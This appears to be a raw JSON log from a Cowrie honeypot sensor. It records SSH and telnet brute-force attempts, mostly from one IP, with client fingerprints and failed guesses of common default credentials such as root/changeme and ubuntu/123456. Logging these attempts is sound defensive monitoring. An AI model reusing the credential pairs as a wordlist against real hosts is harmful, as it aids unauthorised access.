{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:33.761390Z","src_ip":"45.156.87.254","session":"c6a4082d9b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:34.851434Z","src_ip":"45.156.87.254","session":"c6a4082d9b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":32984,"dst_ip":"159.203.135.109","dst_port":22,"session":"706a5ae02d9b","protocol":"ssh","message":"New connection: 45.156.87.254:32984 (159.203.135.109:22) [session: 706a5ae02d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:38.053194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:38.059436Z","src_ip":"45.156.87.254","session":"706a5ae02d9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:38.153430Z","src_ip":"45.156.87.254","session":"706a5ae02d9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:38.414863Z","src_ip":"45.156.87.254","session":"706a5ae02d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:39.728339Z","src_ip":"45.156.87.254","session":"706a5ae02d9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":53576,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9ce8b0f179b","protocol":"telnet","message":"New connection: 20.123.41.163:53576 (10.17.0.5:23) [session: e9ce8b0f179b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:40.787603Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57180,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e6fbad06a2a","protocol":"ssh","message":"New connection: 45.156.87.254:57180 (159.203.135.109:22) [session: 2e6fbad06a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:42.714732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:42.720628Z","src_ip":"45.156.87.254","session":"2e6fbad06a2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:42.805510Z","src_ip":"45.156.87.254","session":"2e6fbad06a2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:43.056026Z","src_ip":"45.156.87.254","session":"2e6fbad06a2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:44.142386Z","src_ip":"45.156.87.254","session":"2e6fbad06a2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57204,"dst_ip":"159.203.135.109","dst_port":22,"session":"311dc77c4000","protocol":"ssh","message":"New connection: 45.156.87.254:57204 (159.203.135.109:22) [session: 311dc77c4000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:46.919472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:47.076191Z","src_ip":"45.156.87.254","session":"311dc77c4000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:47.088253Z","src_ip":"45.156.87.254","session":"311dc77c4000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:47.515677Z","src_ip":"45.156.87.254","session":"311dc77c4000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:48.604652Z","src_ip":"45.156.87.254","session":"311dc77c4000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39604,"dst_ip":"159.203.135.109","dst_port":22,"session":"071418b12c0a","protocol":"ssh","message":"New connection: 45.156.87.254:39604 (159.203.135.109:22) [session: 071418b12c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:51.196182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:51.201293Z","src_ip":"45.156.87.254","session":"071418b12c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:51.288325Z","src_ip":"45.156.87.254","session":"071418b12c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:51.658710Z","src_ip":"45.156.87.254","session":"071418b12c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":44392,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7427ce0243","protocol":"ssh","message":"New connection: 186.30.115.187:44392 (10.17.0.5:22) [session: 7a7427ce0243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:52.407801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:52.412961Z","src_ip":"186.30.115.187","session":"7a7427ce0243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:52.499489Z","src_ip":"186.30.115.187","session":"7a7427ce0243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:52.743341Z","src_ip":"45.156.87.254","session":"071418b12c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"8888888","message":"login attempt [ubuntu/8888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:52.884009Z","src_ip":"186.30.115.187","session":"7a7427ce0243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:53.973958Z","src_ip":"186.30.115.187","session":"7a7427ce0243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39614,"dst_ip":"159.203.135.109","dst_port":22,"session":"025bd1da1d41","protocol":"ssh","message":"New connection: 45.156.87.254:39614 (159.203.135.109:22) [session: 025bd1da1d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:55.738633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:55.743917Z","src_ip":"45.156.87.254","session":"025bd1da1d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:55.831296Z","src_ip":"45.156.87.254","session":"025bd1da1d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:56.083629Z","src_ip":"45.156.87.254","session":"025bd1da1d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:57.181469Z","src_ip":"45.156.87.254","session":"025bd1da1d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34768,"dst_ip":"10.17.0.5","dst_port":23,"session":"73f53583bbe2","protocol":"telnet","message":"New connection: 20.123.41.163:34768 (10.17.0.5:23) [session: 73f53583bbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:58.406380Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51046,"dst_ip":"159.203.135.109","dst_port":22,"session":"12af3c4cccb5","protocol":"ssh","message":"New connection: 45.156.87.254:51046 (159.203.135.109:22) [session: 12af3c4cccb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:00.406260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:00.413281Z","src_ip":"45.156.87.254","session":"12af3c4cccb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:00.499451Z","src_ip":"45.156.87.254","session":"12af3c4cccb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:00.757330Z","src_ip":"45.156.87.254","session":"12af3c4cccb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:01.982230Z","src_ip":"45.156.87.254","session":"12af3c4cccb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52798,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f09f60b670","protocol":"telnet","message":"New connection: 20.123.41.163:52798 (10.17.0.5:23) [session: 97f09f60b670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:03.653684Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51054,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed47a5bf4f6a","protocol":"ssh","message":"New connection: 45.156.87.254:51054 (159.203.135.109:22) [session: ed47a5bf4f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:05.195743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:05.202426Z","src_ip":"45.156.87.254","session":"ed47a5bf4f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:05.289690Z","src_ip":"45.156.87.254","session":"ed47a5bf4f6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:05.556709Z","src_ip":"45.156.87.254","session":"ed47a5bf4f6a","protocol":"ssh"}
